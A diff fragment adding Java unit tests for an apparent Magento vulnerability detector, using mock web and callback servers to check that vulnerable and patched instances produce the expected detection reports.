+ createInjector(true); + mockCallbackServer.enqueue(PayloadTestHelper.generateMockSuccessfulCallbackResponse()); + + DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); + + DetectionReport expectedDetection = + generateDetectionReportWithCallback(targetInfo, httpServices.get(0)); + assertThat(detectionReports.getDetectionReportsList()).containsExactly(expectedDetection); + assertThat(mockWebServer.getRequestCount()).isEqualTo(3); + assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); + } + + @Test + public void detect_whenVulnerableAndTcsNotAvailable_reportsHighVulnerability() + throws IOException { + ImmutableList httpServices = mockWebServerSetup(true); + TargetInfo targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) + .build(); + + createInjector(false); + + DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); + + DetectionReport expectedDetection = + generateDetectionReportWithResponseMatching(targetInfo, httpServices.get(0)); + assertThat(detectionReports.getDetectionReportsList()).containsExactly(expectedDetection); + assertThat(mockWebServer.getRequestCount()).isEqualTo(3); + assertThat(mockCallbackServer.getRequestCount()).isEqualTo(0); + } + + @Test + public void detect_whenNotVulnerableAndTcsAvailable_reportsNoVulnerability() throws IOException { + ImmutableList httpServices = mockWebServerSetup(false); + TargetInfo targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) + .build(); + + createInjector(true); + mockCallbackServer.enqueue(PayloadTestHelper.generateMockUnsuccessfulCallbackResponse()); + + DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); + + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + assertThat(mockWebServer.getRequestCount()).isEqualTo(3); + assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); + } + + @Test + public void detect_whenNotVulnerableAndTcsNotAvailable_reportsNoVulnerability() + throws IOException { + ImmutableList httpServices = mockWebServerSetup(false); + TargetInfo targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) + .build(); + + createInjector(false); + + DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); + + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + assertThat(mockWebServer.getRequestCount()).isEqualTo(3); + assertThat(mockCallbackServer.getRequestCount()).isEqualTo(0); + } + + private DetectionReport generateDetectionReportWithCallback( + TargetInfo targetInfo, NetworkService networkService) { + String additionalDetails = "Magento version: " + MOCK_MAGENTO_VERSION; + + return DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(networkService) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher(VULNERABILITY_REPORT_PUBLISHER) + .setValue(VULNERABILITY_REPORT_ID)) + .setSeverity(Severity.CRITICAL) + .setTitle(VULNERABILITY_REPORT_TITLE) + .setDescription(VULNERABILITY_REPORT_DESCRIPTION_CALLBACK) + .setRecommendation(VULNERABILITY_REPORT_RECOMMENDATION) + .addAdditionalDetails( + AdditionalDetail.newBuilder() + .setTextData(TextData.newBuilder().setText(additionalDetails)))) + .build(); + } + + private DetectionReport generateDetectionReportWithResponseMatching( + TargetInfo targetInfo, NetworkService networkService) { + String additionalDetails = "Magento version: " + MOCK_MAGENTO_VERSION; + + return DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(networkService) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher(VULNERABILITY_REPORT_PUBLISHER) + .setValue(VULNERABILITY_REPORT_ID)) + .setSeverity(Severity.HIGH) + .setTitle(VULNERABILITY_REPORT_TITLE) + .setDescription(VULNERABILITY_REPORT_DESCRIPTION_RESPONSE_MATCHING) + .setRecommendation(VULNERABILITY_REPORT_RECOMMENDATION) + .addAdditionalDetails( + AdditionalDetail.newBuilder() + .setTextData(TextData.newBuilder().setText(additionalDetails)))) + .build(); + } + + private ImmutableList mockWebServerSetup(boolean isVulnerable) + throws IOException { + mockWebServer.setDispatcher(new EndpointDispatcher(isVulnerable)); + mockWebServer.start(); + return ImmutableList.of( + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .setTransportProtocol(TransportProtocol.TCP) + .setServiceName("http") + .build()); + } + + static final class EndpointDispatcher extends Dispatcher { + EndpointDispatcher(boolean isVulnerable) { + this.isVulnerable = isVulnerable; + } + + private final boolean isVulnerable; + + @Override + public MockResponse dispatch(RecordedRequest recordedRequest) { + + if (recordedRequest.getMethod().equals("GET") + && recordedRequest.getPath().equals("/" + VERSION_ENDPOINT_PATH)) { + // Version detection request + return new MockResponse() + .setResponseCode(HttpStatus.OK.code()) + .setBody(MOCK_MAGENTO_VERSION); + } else if (recordedRequest.getMethod().equals("GET") + && recordedRequest.getPath().equals("/" + CURRENCY_ENDPOINT_PATH)) { + // Magento identification request + return new MockResponse() + .setResponseCode(HttpStatus.OK.code()) + .setHeader("Content-Type", "application/json; charset=utf-8") + .setBody(MOCK_CURRENCY_ENDPOINT_RESPONSE); + } else if (recordedRequest.getMethod().equals("POST") + && recordedRequest.getPath().equals("/" + VULNERABLE_ENDPOINT_PATH)) { + // Exploit attempt + if (isVulnerable) { + return new MockResponse() + .setResponseCode(HttpStatus.INTERNAL_SERVER_ERROR.code()) + .setBody(VULNERABLE_INSTANCE_RESPONSE); + } else { + return new MockResponse() + .setResponseCode(HttpStatus.BAD_REQUEST.code()) + .setBody(PATCHED_INSTANCE_RESPONSE); + } + } else { + // Anything else, return a 404 + return new MockResponse().setResponseCode(HttpStatus.NOT_FOUND.code()); + } + } + } +}